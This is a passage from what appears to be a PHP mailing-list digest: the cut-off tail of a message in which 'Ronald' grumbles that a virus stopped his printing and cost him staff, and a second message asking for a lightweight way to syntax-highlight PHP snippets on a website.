To print a letter we had to run twice the only virus utility we got (per
mail!!!) to be able to print one document. After that the virus took
over again.
I had to take drastically measurements, and lay off 50% of my work force!
Nobody was happy about it.
No answer needed!
bye
Ronald
--- End Message ---
--- Begin Message ---
I want to put a code snippet section on my site and want to colorize them like
the user comments on any PHP site page.
http://www.php.net/manual/en/language.operators.arithmetic.php
What's the easiest way to do that?
I've used Geshi, but that seems a lot of overhead just to colorize a wee
bit-o-PHP code.
http://daevid.com
--- End Message ---